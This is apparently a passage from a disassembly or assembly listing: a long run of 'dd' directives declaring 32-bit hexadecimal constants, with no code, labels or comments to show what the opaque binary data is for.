		dd 15E18112h, 0AE972A57h, 5B230EC4h, 5612ACBAh,	2845E51Ah
		dd 5712AE25h, 1E462B09h, 0B629426h, 932A963Eh, 1132C85Bh
		dd 3FA9DA35h, 444B226Dh, 64A908D4h, 8E23FC45h, 0AA09642Ch
		dd 32F85511h, 4C8CF5E1h, 47279928h, 128C252Ch, 14190947h
		dd 9274253Ch, 57030046h, 40B261DAh, 0C92C455Ah,	29B6024Ah
		dd 0B254693Ah, 0B9304A5Ch, 8164AE7Eh, 77484502h, 0E9D023E7h
		dd 5CFFC157h, 0B055AF29h, 947163Eh, 767294A3h, 0A4DF15BAh
		dd 0F4D375C7h, 0D8452579h, 1E96388Fh, 2318D349h, 0B3D36DD7h
		dd 0B29FBE1Fh, 0B1D2582h, 3C7D9759h, 0C491CADDh, 99AC1EDDh
		dd 0DE5FFB50h, 7CE65782h, 94D43A99h, 133E456Eh,	0B509266Bh
		dd 0C05E0453h, 0E2CA9AC4h, 228D1859h, 0C9A60DF4h, 7899384Dh
		dd 27F5AD1Ah, 788913DEh, 0AECA011Ah, 0C96881B0h, 52132E2Eh
		dd 6611B283h, 451AEC02h, 0D08A33E0h, 28ECA097h,	0CBB22CBBh
		dd 86D2BB26h, 2AD1ACB2h, 1696DA9Ah, 892287CBh, 0CCA6DF51h
		dd 30F49204h, 72BB3112h, 0D78222C0h, 0D84D28A7h, 0A3E7F963h
		dd 10985AECh, 0F269533h, 53054DE9h, 89A3BE64h, 0DD76C47h
		dd 0C511B2B7h, 49B444DEh, 40EA1E8Ah, 0AE489D17h, 27A17A1Ch
		dd 5747BADDh, 56C53B7Bh, 0C758EB42h, 19C5FA33h,	0C02665B2h
		dd 0FC229194h, 0C269134Ch, 2BB39804h, 0C2289F82h, 0BE291B9Fh
		dd 48BAA4Dh, 4CC6A45Ah,	8A2ED88h, 29AA267Eh, 28BEDFC2h
		dd 29B64BF3h, 9EDF4BF8h, 29865B90h, 0DEB5881Ah,	0E7A5F6A7h
		dd 4CD36D27h, 3F363E98h, 7A454D62h, 91F0C978h, 1D59B7F5h
		dd 0F979BE3Dh, 0B3A13CE9h, 114DD786h, 0E8873F5Fh, 0ADC5FE69h
		dd 6C4BC578h, 0CEF2FA87h, 90D8BC8Eh, 4990022Ch,	762184C3h
		dd 9908880Ah, 5E863318h, 39245DA0h, 294822ADh, 4CC9A46h
		dd 211CBED9h, 0AD31A264h
		dd 0F9328626h, 0D998F0A2h, 7EA984A6h, 266A827Bh, 0D33868A6h
		dd 44FA9F7Ah, 4530099Ch, 0EE237570h, 0E601C651h, 0A156A0D3h
		dd 0A412162Bh, 45D1D8C7h, 0A4C375B7h, 0DD959027h, 0C0987238h
		dd 0DF15D069h, 17EC5791h, 0BECFE397h, 0D63A5EC4h, 0E12B6D90h
		dd 4521075h, 0F129E252h, 2F1F095h, 0A77702EDh, 358C2455h
		dd 1131B4D2h, 30994773h, 902345DBh, 0F69A9C4Ch,	0D49A8491h
		dd 0DB3748D1h, 0EFE65351h, 0C5DE5C47h, 0BA664514h, 689FD3EFh
		dd 0C8A6C133h, 3DB44F36h, 0FB1024E2h, 0FCEB5919h, 0B2338B70h
		dd 0A8BE83B8h, 0B1924F3Fh, 0AD1E6213h, 0FDAB38EEh, 0F2FDE214h
		dd 25FEC16Ah, 86D1C2E6h, 0E026B06Ch, 2608E9AEh,	33887113h
		dd 4C5DA701h, 0A1C49930h, 0A713A4E9h, 44775527h, 1769C31Eh
		dd 408E144Eh, 260F35D3h, 2CB96913h, 2ED2A6D6h, 36DD4D0Eh
		dd 0C5EA7AFDh, 7AD3A2A9h, 9D45A2ABh, 9FCF3A09h,	0FC44A23Ch
		dd 8ECB9143h, 5D137BA8h, 445A8257h, 0F7F48D6Ch,	0A9670927h
		dd 22F05D03h, 0C2EEF2F9h, 1F954A9Eh, 9D4136BDh,	2AB8E3DDh
		dd 0B81C7731h, 36C12ACAh, 99408B3Eh, 99B3368h, 2ED4536h
		dd 111544CAh, 3D341AF5h, 11DC6A05h, 51768FD8h, 6B13C6C1h
		dd 0E174D426h, 44C92808h, 0F8B87FCEh, 0E8CD15F3h, 329A3CFCh
		dd 0F955F4E7h, 0D1A57111h, 255690D9h, 46C2B91Ch, 4FCC4AC7h
		dd 8EE5DD53h, 0B2881C6Dh, 18BB53EBh, 2BC7F726h,	6EEC4CBAh
		dd 2D901CBFh, 0D27DAE8Ah, 0AA23E22Eh, 0CA82D44Ch, 638B9D04h
		dd 0BC0F28E2h, 0DA4D30C0h, 6B133545h, 0F51D5CA1h, 8917490Eh
		dd 66D1CC7Dh, 8E556D82h, 9DD632A0h, 9DDF1356h, 458B1174h
		dd 9204917Bh, 6B934FBBh, 0E19B74C9h, 6A93EF5Ah,	69B4F2CBh
		dd 54EEBFA2h, 6E5C47E5h, 8A259658h, 86A16955h, 0B700956Bh
		dd 0C1EB3F30h, 0CBADD67Ch, 2AE2A229h, 0E721ABC9h, 0F55FFDD1h
		dd 3B801B98h, 7AAF2BE4h, 86937360h, 0B4FBB209h,	55A82C0Bh
		dd 0D0C9D644h, 323B9FA4h, 0B709E477h, 0CB02045Dh, 47DA9BC4h
		dd 45F23964h, 56E17BA2h, 47477BCAh, 7457964Fh, 176854D2h
		dd 0A1E369FDh, 0C0C4B176h, 0F3DC1068h, 0B272ED3h, 0F890B364h
		dd 952E6653h, 0C788302Ch, 0D431D4E9h, 0FC114FFh, 6BF92073h
		dd 175942BBh, 0B630E061h, 3318504h, 46A16220h, 5B82CAFCh
		dd 0C1F80405h, 0C82B6470h, 7008C00Eh, 0A244C0B0h, 150280F0h
		dd 9425ABA8h, 0C469203Ch, 760230ADh, 0E95039Ch,	0A01460E0h
		dd 26510749h, 0E274E15h, 12306E80h, 28888850h, 0C0149194h
		dd 3C451248h, 77035330h, 177B0F11h, 0AE889001h,	1D5584A9h
		dd 0AB553158h, 0BFE5902h, 9A95F07Eh, 7D39FDF3h,	111AFE1Ch
		dd 95323013h, 8DDE5B4Ch, 831A93BEh, 0E6DC2172h,	3A198599h
		dd 5A9CE118h, 0DF7B4809h, 82F53089h, 5481668Bh,	0D5255F1Bh
		dd 435FD42Ah, 0D125DCCFh, 0B48875DCh, 3C907EF5h, 1D4CC151h
		dd 48EF095Fh, 3D325807h, 0A3ED9771h, 0BF986F57h, 2149B852h
		dd 0BA033F54h, 99C090B7h, 0FFC0C1E5h, 0D4F8C8h,	48AE20D7h
		dd 9E699407h, 0BC17519Eh, 0C480DADDh, 0C7E3CA8h, 2AC993C2h
		dd 0D9299E2Ch, 0C089852Fh, 975DF6C4h, 44AAD6A0h, 73C7C35Dh
		dd 0CE9963CBh, 7271BE7Ch, 391728A3h, 0C012208Dh, 8461B27Fh
		dd 0D982AAD3h, 0C0751455h, 1AAAED6h, 5570BF38h,	0FD5B2DA8h
		dd 83F07E1Bh, 3ABA1B71h, 32E97DD0h, 4F99C7F4h, 70CA500Dh
		dd 0F3A56A3h, 44AE273Dh, 0D2CB6DF8h, 0F9464491h, 0A49282Fh
		dd 8AC4BD22h, 26355E0Ah, 0D0A51D7Ah, 9BC2B423h,	1D043A76h
		dd 80BC3D40h, 0D3A81766h, 15AA8EE9h, 110A15BEh,	17DC42F6h
		dd 6707582Ah, 0E2414500h, 5769F9B7h, 5E2E74AAh,	3977301Ah
		dd 602714Eh, 737D3120h,	0D33E8E62h, 4973E377h, 0B1FA97ADh
		dd 0E4DB84A4h, 34CA875Ch, 3E489868h, 4434F950h,	3E980463h
		dd 538A0638h, 83CE45F6h, 445DE3C1h, 0A6DB8D04h,	0A645ED12h
		dd 1C3F25CDh, 2A4B3768h, 0F2E849D6h, 5A9EA467h,	0ADC55C86h
		dd 0AE040117h, 0B53CCBD3h, 5A4D857Eh, 85DA4E4Dh, 0E2F93668h
		dd 623198Bh, 6C5F8BABh,	0D1513E9Fh, 98EB3BEFh, 0A4291483h
		dd 482B3674h, 400D35Bh,	0BC8F1468h, 745385D7h, 87607A80h
		dd 427F1104h, 2E92F8CDh, 6786A817h, 0BFB290B5h,	5772B348h
		dd 3C6135F8h, 76E4E9B0h, 59BF4A2Eh, 0CEACB4D1h,	8E58CEAAh
		dd 0F052ADD6h, 86A62E96h, 0A4836840h, 532201Ah,	1F943EA0h
		dd 0D4DCC0Fh, 317C448Bh, 1D01124Ah, 0D2E565D5h,	61107C75h
		dd 5F668A5Fh, 45521A9Dh, 0E15D578Dh, 37105C87h,	23126234h
		dd 0C062C6DEh, 8BCC5191h, 0D9C36FBFh, 48201690h, 77034897h
		dd 0FC5F42C0h, 0BE8D53Bh, 0C67CA158h, 0B4F21A05h, 46260E71h
		dd 0BF44D3BEh, 0EB0A9BF4h, 0E67E014Ah, 7507F48Ch, 75DB214h
		dd 0A22D5F00h, 46A28E66h, 0F4E2518Bh, 1F9C92AFh, 188A342Ah
		dd 322DF62h, 6379F438h,	412057E2h, 19EA0CC5h, 3147F02Eh
		dd 5F324FAh, 0F04C9D83h, 6F18DC24h, 0A4FC4572h,	2E031080h
		dd 8A860F24h, 4EF07E33h, 74664DD5h, 8450E452h, 0ADF0574h
		dd 0B82094C4h, 0B803E5Eh, 41833691h, 7CED10BAh,	4ECA7F1h
		dd 0EFFF818Ch, 5E5F38BFh, 1A300FC1h, 4874F2ADh,	36C013B8h
		dd 0FC5F7D0Ch, 0E174AAB7h, 28D0332Bh, 2E114CE2h, 0E8302Ch
		dd 9D2655B5h, 0B4841366h, 0E227FB7Dh, 3F2151DEh, 0D365B4C9h
		dd 0EB43F8E9h, 42F5CDFEh, 0B8A5F085h, 519D4036h, 985A3377h
		dd 9C3B175Ch, 5D1767DBh, 2C8EA61Ah, 0D53DFCF7h,	0D542B852h
		dd 0C7A1F5A2h, 3BF35F50h, 0AE658D78h, 0F996F6CBh, 1DDABD3Bh
		dd 0E057AEFFh, 549CC8EEh, 97485CCAh, 0A2FD620h,	0A0C44F1Ah
		dd 0C975C2E1h, 1DFC0D1Ch, 7F4BCD95h, 0EEF3D5D1h, 15772316h
		dd 4BE0B029h, 6FBE7C1Ah, 0A68BD6E3h, 0DAA0888Dh, 597FB5D2h
		dd 75F14010h, 0DA38CFF6h, 0DC2CE2EFh, 37FE10D0h, 0AB944AD4h
		dd 0DDE6FC32h, 0C4A8C625h, 70CEEAE9h, 79001A55h, 0B023E3E1h
		dd 8AEA32BEh, 5DC57EF0h, 0CE045285h, 457049Ah, 0EE3A76D1h
		dd 0CAEB50CEh, 0CFEAE17Ah, 3185001Ch, 5B503D18h, 5AA01222h
		dd 88EF1BEBh, 260D7661h, 87F20178h, 0ADE0501Eh,	510BA8Fh
		dd 0D5633894h, 0B29A9441h, 81FA6163h, 95067781h, 0F4064760h
		dd 0EE36661Dh, 94AC2C0Ah, 0BEB422FFh, 0B47DD40Ch, 0F8045904h
		dd 14DD286Ch, 0BCB5C1h,	84AC2435h, 21150A96h, 1639D3D8h
		dd 0EDA99AF0h, 3168C8E4h, 74339819h, 0C2D1DD87h, 539466F0h
		dd 0F8876099h, 2C62E22Bh, 45EEF8A7h, 58BA6A13h,	0B471BEC1h
		dd 9F562550h, 0F2AF1460h, 1CAB0678h, 68C812Dh, 2AB5AAFCh
		dd 1D9D8DFh, 0FF0265FFh, 6F9C4F31h, 10275462h, 0EA441234h
		dd 550EDCFCh, 5ED50534h, 53CCAA9Dh, 62E71175h, 5D79A380h
		dd 25A9B11Ch, 0BA2E954Bh, 32C3287Bh, 7CA88B21h,	40727CA5h
		dd 8FA94654h, 45D7D02Fh, 98C6E496h, 493495A0h, 0A728E115h
		dd 3B0A7D4Ch, 0AA8B66Eh, 0E4940AEFh, 640F0813h,	0CB62A598h
		dd 0E910C9A8h, 41A0738Bh, 0AA758BAFh, 0CDB3F4A8h, 0D6519101h
		dd 0BCA0F1C2h, 0BE8464BBh, 4217DA28h, 1A021C8Ah, 9AF56BEBh
		dd 67A410CAh, 43EA8D3Ch, 0E4F0498h, 0D31F9400h,	1947105Ch
		dd 4D2D59E2h, 465F42C0h, 0A8A38929h, 0C80FAF36h, 0BBFEBC9h
		dd 0FBA125E2h, 0CA5416ACh, 586534D3h, 588FC26Eh, 0B5DDA294h
		dd 2F01AE93h, 58370528h, 59304BA4h, 330B8F7h, 0B8A656C6h
		dd 0BFD0BA8Ah, 6FB049E4h
		dd 8FF11DFEh, 89DD089Eh, 0B2BB2D1Dh, 49B88091h,	8E140B3Bh
		dd 0FBEBB47Ch, 2B10044Ah, 7537917Fh, 7EA85545h,	40999E58h
		dd 1B3CD400h, 0A097165Dh, 5F1BC4D1h, 0DAA74985h, 3AD845DAh
		dd 65C10EF8h, 5FDBB833h, 6E7869F0h, 515D3EA8h, 0E3150033h
		dd 105DF200h, 8E96DA28h, 80974C84h, 1F70496Ah, 0D456BB41h
		dd 77B05D9Dh, 3079F2A6h, 1DD22EB7h, 0BA49FA0Ch,	35B120Dh
		dd 0A6083EC2h, 0D182E1BBh, 0A45FAD66h, 1A5C9630h, 92BFF143h
		dd 0E19DDC0Ch, 7D328CA7h, 73FD31Bh, 0F7252EAh, 0D01745FFh
		dd 9140A204h, 0D7794982h, 4D4A7980h, 0AFA7B57Eh, 0F0188047h
		dd 0C1748B0Ch, 0FA04FE05h, 511E909h, 70E51277h,	48866BA4h
		dd 561020E1h, 694E2622h, 55DD4EA0h, 0AC3752A2h,	0B59A4028h
		dd 985F900Eh, 3C9F981Bh, 0A486DA3Fh, 0F58C85FDh, 4AA893C5h
		dd 11C863h, 0BE3E0591h,	22C8C34h, 9436B756h, 843471A6h
		dd 1611994Dh, 866FDC7Ah, 86083206h, 30CC5F39h, 0D45DC37Fh
		dd 8B7A56D7h, 9966A91Bh, 264728EEh, 534B2DDFh, 0F0C07519h
		dd 2B69AFDCh, 51951207h, 3C75B677h, 6879CEA2h, 0F7212D62h
		dd 54C722A8h, 9D1817ADh, 7E767518h, 28A5639Dh, 3595522h
		dd 483AA269h, 69A9CDCh,	0EAFAE39Fh, 82C3DA24h, 23F32F4Ah
		dd 7D72BF76h, 19FDC1FAh, 0F518BD81h, 0ACAA8039h, 0BECB4042h
		dd 207B1F62h, 51BD180Bh, 1F52BE75h, 36633D67h, 0D5C279C0h
		dd 8187E6ACh, 0AA17A412h, 10AFCC4h, 84716637h, 0E740B36Ah
		dd 23EA8BEh, 8AEFA3DAh,	0DD4DB2B8h, 0A0E5B15Bh,	8ADAAF11h
		dd 84316FA6h, 55153A18h, 6D24A49Ah, 0ED1BBF96h,	715EBFF0h
		dd 760E4823h, 5E65BEB2h, 0C48FB1Ch, 5A022205h, 0B4603138h
		dd 8943BE82h, 271C0928h, 0AAB1F19Dh, 8ABA8755h,	3045A389h
		dd 0E261C4ADh, 65380146h, 0FAA032E0h, 0B4551301h, 2FB94EEEh
		dd 76A04EB6h, 0CC54B363h, 1492FDBBh, 0B082D536h, 6979602Fh
		dd 0A20A3748h, 1435ED4Ah, 0E09A0F5Ch, 0CAB5F26h, 0D0B0A832h
		dd 1D81E232h, 0FB4C7552h, 0BB56C691h, 0F3AB1A42h, 0ED46A44Dh
		dd 3EB29256h, 362A1CA4h, 4428BA93h, 0B090CF21h,	7DC40971h
		dd 4ABB504Eh, 1DB178CAh, 840473F0h, 32D64D77h, 0B80DD7F1h
		dd 0A2316593h, 12B59ADCh, 0D4D14243h, 8228A29Fh, 0AA2C4FE5h
		dd 85B7F258h, 4902311h,	16DB36D4h, 500CB50h, 407252E3h
		dd 0A6030CC0h, 7147D888h, 26790BA4h, 2983FC70h,	8A604C9Ah
		dd 0C37CD68h, 68FCB3FEh, 8DFDAE37h, 402E2E01h, 0E4438FACh
		dd 7DE2E978h, 9157DC0h,	0CAB28451h, 0ABB47674h,	85818B18h
		dd 67C41A91h, 4AA499DFh, 0A81F56F3h, 0CEAB1D34h, 2FA8497Bh
		dd 841FEE79h, 4B68D2h, 968F5B14h, 0E93F3182h, 63AFE0F8h
		dd 0A661F159h, 5215DE32h, 14484B55h, 0CB41A9F0h, 453F4439h
		dd 6AEA5D38h, 0FE14CDA1h, 9EE89633h, 0AA7F5576h, 4AB0C086h
		dd 125AD5B4h, 0A058884Ah, 0A4EBB479h, 810200D1h, 0B540F131h
		dd 0D03E1094h, 0B9B18042h, 0FAA73400h, 95749D5Dh, 29909EA4h
		dd 0A9BE0A40h, 88AB3FE5h, 0D81A5DF8h, 0CAD404C9h, 0D604E2D3h
		dd 0A940A80Bh, 1B959F97h, 0E0216E15h, 0C6C86F28h, 15564701h
		dd 0ABB88E5Eh, 4579616Dh, 3471F2D1h, 3369F488h,	67D277D3h
		dd 3EDF2B4Ah, 17E3DCFAh, 4EF9ED54h, 1CCF8BE4h, 0A187758h
		dd 0D1079341h, 29FF82ABh, 39180475h, 0BC09A382h, 450114DAh
		dd 25952524h, 165070C2h, 36B7D67h, 502D0124h, 0C50E187Dh
		dd 7CA2301Bh, 4E174069h, 39513549h, 8BBB37C0h, 69893BAEh
		dd 65AB5554h, 2AB4FE05h, 5136D2E9h, 0CBC41414h,	7D60AAA3h
		dd 4CAD54A1h, 37D796A4h, 84010742h, 0AA0A4C31h,	0D0E3EA4Dh
		dd 0AED2A1F8h, 85D69EB3h, 0CA038CDBh, 4B350F68h, 46A694A5h
		dd 25652D1Ah, 7AE3C982h, 0A30E1E8Ah, 75D9568Dh,	0EF2B12C6h
		dd 7655FDC1h, 457F9074h, 20C0DB93h, 0CFFF331Bh,	0F42A2AF4h
		dd 4D468DA6h, 31893572h, 337012h, 407CBEF3h, 97919087h
		dd 1BC33A8Dh, 17B8B75Fh, 48F2E601h, 728D74h, 0BA9007FCh
		dd 0B2E8D103h, 21575B33h, 60E2ABB7h, 4C8B0051h,	9E6F21E4h
		dd 3EBC2383h, 3AC2B005h, 0F092E62Eh, 273646E1h,	0EA34DE51h
		dd 417F7021h, 741F8DC0h, 0FB9D9FCFh, 0EDC3E13Bh, 0C863A12Bh
		dd 3D0E02F2h, 0C43A5B67h, 6FAD625Bh, 82040C22h,	0FE34069Bh
		dd 0DA38E43h, 0AB2F2919h, 7B15FD30h, 0EB9781FFh, 357ACE72h
		dd 0AF9A74CFh, 2D392DF2h, 0AF4A558h, 10738BEAh,	0F8863F09h
		dd 0DF1D945Dh, 1120449h, 872B100Ah, 8C2AD1F8h, 0F32DB99Dh
		dd 0F097A9Fh, 0CF56894Fh, 8F115691h, 0CDC7DC1Fh, 0C4795D51h
		dd 6AA23E69h, 463112AFh, 439F5654h, 74EBB758h, 0B2CA2DC6h
		dd 0BABD655Dh, 0F4720810h, 5E88593Fh, 40956A95h, 76256796h
		dd 0DD0AE1Bh, 0DA2972ACh, 34EC1458h, 6C0AA1FEh,	30F01023h
		dd 4100BA12h, 6A103CDFh, 76F0545Eh, 98C43437h, 0E2955979h
		dd 0BD23B3A8h, 17270311h, 53842D23h, 0DA7820C8h, 0B8D94F3Ch
		dd 9F956175h, 2750F8BDh, 0C1771B57h, 575BC6BAh,	452C0BFEh
		dd 0D40947F2h, 7C7BCEDEh, 980CE484h, 6B436AB5h,	0EC8B63C1h
		dd 59E3F560h, 3E02B721h, 1AF901E4h, 0F61F1327h,	154E1DF4h
		dd 582FFE30h, 2CBA9514h, 6803CDE3h, 22D5EA3Eh, 86A17AAAh
		dd 0A45A8452h, 284FD313h, 76193405h, 35A0D291h,	40064952h
		dd 900E8C41h, 2ADBA443h, 79725DDh, 0AB4A1D0Ch, 44AE8F49h
		dd 4655A5D2h, 4772A3F6h, 7B05F6DBh, 7BD731B7h, 0D9AD7F35h
		dd 0B01B6B75h, 0C12A31AFh, 989A3AECh, 9B7BEC49h, 3C4D82BFh
		dd 12072FA8h, 39A15D54h, 0FCB97953h, 0A11CE79Fh, 0EEAEC7F7h
		dd 9BE40483h, 88AD7D72h, 0D4112D8h, 6A907C03h, 0CEC51008h
		dd 0F79B3157h, 299BD7DCh, 7E5250A9h, 1029380h, 1A2D12Bh
		dd 118A6945h, 0FBD0EEC4h, 626F8BA3h, 492A923h, 0F9D7987Fh
		dd 66241296h, 92AECDF1h, 0EB53A241h, 0B47C2A89h, 1B21852h
		dd 8EF0290Eh, 0E108FC4Eh, 94290CA5h, 83010719h,	0A630540h
		dd 897A494Ah, 8191261h,	8A03D53Eh, 134AD256h, 4B190BADh
		dd 8FDCB50Bh, 2A8A4847h, 0B5C29B43h, 8D39BF19h,	91061645h
		dd 14D7A71Ah, 455952E3h, 0D1CE377h, 2D43DF30h, 767143DFh
		dd 0CCC8C755h, 692480Ah, 53FA4512h, 24A19BE6h, 14AEB28h
		dd 528A2B5Fh, 4761B300h, 6B28F110h, 0E7570154h,	65C091E4h
		dd 0D95EB1FAh, 55D8F5F9h, 174435F3h, 51EE7498h,	0CD45A643h
		dd 76336431h, 41C617D4h, 35BBC0h, 7CF4ED7Bh, 0A48E7DD6h
		dd 9AA7A5B7h, 0A9D39ABh, 4037FF2Eh, 84ACA9D9h, 1E8CC737h
		dd 0FE44D6h, 96261DAEh,	6CD32C8h, 690ABB90h, 0A572580Ch
		dd 0AF4B3AACh, 0DF3DAD2Eh, 313C11A7h, 112D4E64h, 7035E843h
		dd 52EB5FA2h, 2AEA5FB9h, 3299C0Ch, 22A46FAh, 0C864A4A8h
		dd 0A0289ACCh, 570F380Fh, 0C6D396FCh, 9299D7B1h, 5C8E7098h
		dd 0C3A885D9h, 0AB74D628h, 8EE0A790h, 0B355D8B9h, 0CC2A0D81h
		dd 0BB4151FFh, 0B022C536h, 3B0B5A2Fh, 852BE737h, 26EF9BC5h
		dd 2D1E45B2h, 0F692A666h, 426D54DFh, 8B2817FEh,	0BA60E3FFh
		dd 753112CBh, 0F952807h, 0B7E0F8D2h, 7C3B8E1Fh,	0B4F559A7h
		dd 0A50AA450h, 9BD47C1h, 0CC623E36h, 0F5D51CE9h, 3382EB89h
		dd 6B59D5Ch, 0F36A81B4h, 38A46714h, 7BC7A25Ah, 0D1A08BAEh
		dd 0A216C696h, 0B016817h, 8B17AFEBh, 81ABDAA1h,	0FC5B448Eh
		dd 3E0C2416h, 196E7398h
		dd 8C541273h, 4B70F9DBh, 0E129CC1Fh, 18BECBE9h,	3D50F4F7h
		dd 0C529AE02h, 619B20CBh, 7472002Ah, 0D18B1AAAh, 0A983C88Ah
		dd 0DE452228h, 0BD086F1Ch, 42D53987h, 1EE92409h, 87A41608h
		dd 10AC250Eh, 87E96168h, 41220A1Fh, 0EA43B867h,	70F6837Ah
		dd 81E60AFEh, 0A32FC8Ch, 0C24D2298h, 88A285B3h,	3D6ABC90h
		dd 0A25FEFD2h, 6150903Dh, 9621DF6h, 70BC2364h, 904415Bh
		dd 20B9F354h, 2E422DD0h, 956457B7h, 945196E1h, 0AE74C424h
		dd 55A71C50h, 9C07ED67h, 6EABC288h, 0E11081A2h,	2973503Ch
		dd 635FB061h, 97F4C6A4h, 0B0775B55h, 0C6EC0F72h, 25DC12AAh
		dd 44A0EEA0h, 0CACF025Bh, 0D5416168h, 0C33CD3ADh, 3D27119h
		dd 0C0875021h, 0D748942h, 6ACA8E94h, 3D01809Dh,	480790BAh
		dd 33711CEh, 0C4407A09h, 0C8C0512Dh, 48C60ABAh,	0C31BDBD8h
		dd 6789D061h, 9FEAC0CAh, 0DF06280Bh, 0E2553A4Ch, 0FE5E8249h
		dd 70090E3Ah, 0DA16B40Dh, 1B21822Dh, 7683B454h,	3B108F11h
		dd 116D6241h, 3BA65D82h, 70139DAh, 0A8550AEFh, 58696B38h
		dd 0C624C2C6h, 6A8239D5h, 0D14769Bh, 0F4EBBFC0h, 0A82CC6AEh
		dd 0A98C1AA0h, 2EBE292h, 7D346147h, 51CDEB39h, 74B6277Ch
		dd 9D98A2AFh, 0B6D2717Fh, 0EB17F889h, 1371B4Ah,	4641B541h
		dd 1B4E30C3h, 0A72B26B6h, 597DF5C7h, 58081E57h,	6184AA05h
		dd 58D71C22h, 6A80CAC2h, 6F675C73h, 33BE8C93h, 9F7387BFh
		dd 9A16FD39h, 98D9BEFFh, 0B9672577h, 0E0F885CFh, 3613D3BEh
		dd 8AB02086h, 0FB2F471Dh, 0DE5078B4h, 133EF29Ch, 0D59A5B68h
		dd 22509365h, 0E6EDA5F2h, 542D8426h, 78EB46FFh,	204A1907h
		dd 738A1BE7h, 0A4E1A13h, 7890AF81h, 0F1B00552h,	0C3413541h
		dd 0BE5449F2h, 8BC0E54Ch, 8D1D1133h, 11C1D2F2h,	0A1A330A8h
		dd 257E4AFBh, 7C683651h, 0A1E957B0h, 0CB203D41h, 33E9805Ah
		dd 0D2236AFEh, 0F3E62557h, 812E2588h, 1281790Dh, 745A4FBAh
		dd 47092796h, 548C2902h, 0E98140D1h, 2D9C4091h,	5C9BE57Fh
		dd 79169C1Fh, 16FF7278h, 2D989003h, 0E4DA90BEh,	28C0BE3Ah
		dd 234A39CAh, 8C838EC4h, 7B54A482h, 409D6495h, 249E077Dh
		dd 0D67450D7h, 75C88C54h, 0E19BA695h, 2FB07DB6h, 1E4D48A8h
		dd 945024BAh, 5B306071h, 0E5EAC51Bh, 0A5BA5131h, 399D0375h
		dd 0BE3381E1h, 0A904A3A0h, 518CCE11h, 0E8362DC3h, 5FB1A804h
		dd 9C91D5D8h, 0E984B5C9h, 42C1D5CAh, 910A23A1h,	0AC6EEDEBh
		dd 81F7511Bh, 0E968D510h, 1E60ABE0h, 53EE1066h,	5844A882h
		dd 0B47ABEACh, 629C4831h, 690C1541h, 515D5E7Ch,	670B0920h
		dd 32007089h, 0BF11D4A8h, 0E76CA090h, 0B06E8FDDh, 9115046Fh
		dd 0E437C417h, 2169168Eh, 0AAB08003h, 0BAAE04ECh, 7C06C855h
		dd 0D841EC71h, 97D68953h, 0B1C600D0h, 8A1CEB83h, 5301FA8h
		dd 5D407003h, 8361A481h, 0D440761Bh, 95D2C114h,	24BC534h
		dd 0B9C1340h, 88D5AFECh, 0DBD9131h, 0A38181Fh, 2AFD7948h
		dd 0A77DF85Fh, 4C9EB496h, 16B330C0h, 55012EFDh,	9827A8BFh
		dd 5A290178h, 0C8940501h, 1D0A14A8h, 0CAF4781Fh, 0A7004441h
		dd 9AB5208h, 156A8D40h,	12B10EDBh, 85713EF9h, 2B862534h
		dd 0E58A8C4h, 4EE86D60h, 60509913h, 4DE7D6C5h, 0E04FC6Eh
		dd 71100814h, 4962A5A3h, 512A54A1h, 45F0F9F6h, 15D46AEAh
		dd 6CA21A4Fh, 0B6028951h, 0AD2FC61Ch, 24E12629h, 90242A71h
		dd 0A2BB7188h, 0AEE3F4FAh, 51238512h, 15B97279h, 5916EA7h
		dd 971BA204h, 669B5FE6h, 160C5122h, 1665D874h, 4072E76h
		dd 14C5C05Ah, 891B823Bh, 0D41CCF78h, 72AFEBD4h,	32D869C8h
		dd 2EEE98A0h, 182F0130h, 8B8A0A5h, 7550196Fh, 73959691h
		dd 545E9AD9h, 6F037721h, 0D7E69A14h, 298E61D0h,	2F5F21C0h
		dd 0B2AC0BB9h, 0A4084D85h, 2E437893h, 6A7BA915h, 5FF9B98Ah
		dd 0A8A9D7B0h, 0F8EC2D20h, 0FDBA565Fh, 71FBFD20h, 0EFF080A0h
		dd 0B55459CDh, 31B8185Fh, 8AFDA2FEh, 12D753E0h,	1015CA3h
		dd 0A9FD0FE2h, 6BEBA4A9h, 0BBB0616Eh, 4BCA4EA8h, 3D29C1E4h
		dd 2FF4F4BBh, 0C67C985Fh, 4F7022B8h, 4E328BFEh,	604C2B18h
		dd 0D8628A29h, 85E83017h, 266D9564h, 0E8475E8Ch, 0D75F4239h
		dd 0DB5AB69h, 9FD523D0h, 59A51667h, 0B06D1E7Eh,	0E037079Eh
		dd 1468DE79h, 0BC465DBEh, 0F60C7657h, 942B1795h, 9BAC479Dh
		dd 496BF803h, 555C1DDFh, 887C79B8h, 75356598h, 3AC5ED2Bh
		dd 591EF8B0h, 18FFA3D0h, 598957D2h, 0F61ED43h, 2F6AEA9Bh
		dd 5AA07DCEh, 6874A3EAh, 0B2AA8EBEh, 0F1719166h, 1B2867FBh
		dd 55858914h, 0DFC0D24Bh, 6DB0450Ch, 1DB555FCh,	501BD230h
		dd 0A4A45898h, 32898C32h, 9301FE10h, 0C82E4986h, 2AFCF489h
		dd 0A3CA404h, 5A29F331h, 0CF4AD569h, 8C5B1BFCh,	0F81959Fh
		dd 20C66636h, 0FE5F6450h, 0FE179733h, 37F2A6F9h, 92C02035h
		dd 63C3B960h, 8194F0E0h, 0C7B583DEh, 928322F9h,	0D8C64945h
		dd 102C0B4Ah, 220A5428h, 62E7C95Ah, 0EFD8D3CAh,	0CC01B905h
		dd 7BAE4117h, 0A0AC5FCFh, 0D1885182h, 0BD67E72h, 0D4441A0Ah
		dd 6AB68A52h, 0CA5E0F8Dh, 0A78B592h, 513D0EAEh,	2791FC58h
		dd 2D1FA86Eh, 0C4493764h, 6DA8C0Dh, 0B5670764h,	0F3D2F100h
		dd 20ACE301h, 88ABEFA2h, 0FE753306h, 0D8A09A4Ch, 5662A2CCh
		dd 94060184h, 0ED944862h, 757821FDh, 0BD9CA11h,	0E2948D33h
		dd 23FD68EFh, 813DAE1Eh, 51F52A65h, 0CCEB5C43h,	1A4AE22Ah
		dd 9758B660h, 0B777E0EBh, 1A914BF6h, 0A8258573h, 0BA1451CBh
		dd 0D4D2B926h, 22AA277Eh, 0C94C09A4h, 453279h, 0F8E36953h
		dd 7DD55440h, 0C0F16CA5h, 27EA676Ch, 6E377791h,	373A44B0h
		dd 4CE32EE0h, 412EDED1h, 2EBB8EB7h, 2578A36h, 0A3120D5h
		dd 0AB07812Fh, 0E027FFB6h, 24F9CFFFh, 0DBA8AFB5h, 333C6Fh
		dd 810CBEECh, 0AEE14886h, 386AC14Bh, 0F2AF0D41h, 0BBF0EBCEh
